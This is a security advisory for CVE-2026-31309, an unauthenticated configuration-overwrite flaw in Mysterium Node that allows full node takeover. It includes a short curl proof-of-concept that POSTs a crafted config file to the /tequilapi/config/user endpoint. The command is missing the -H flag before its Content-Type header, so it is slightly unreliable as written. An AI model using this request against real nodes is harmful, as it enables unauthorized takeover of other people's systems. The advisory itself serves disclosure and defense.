CVE-2026-31309: Improper Access Control in Mysterium Node before v1.36.0

Improper authorization in the /tequilapi/config/user endpoint of Mysterium Node from v1.21.1-rc0 before v1.36.0 allows an unauthenticated attacker to arbitrarily overwrite the node's configuration and achieve a full node takeover via a crafted POST request.

CVSS

Score: 9.8 (CRITICAL)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

PoC

curl -X POST \
    "Content-Type: application/json" \
    -d @config.json \
    http://<host>:<port>/tequilapi/config/user

Discovered by Till Schacht.

References

• https://nvd.nist.gov/vuln/detail/CVE-2026-31309
• https://www.cve.org/CVERecord?id=CVE-2026-31309
• https://github.com/advisories/GHSA-p7gf-g6r8-g65h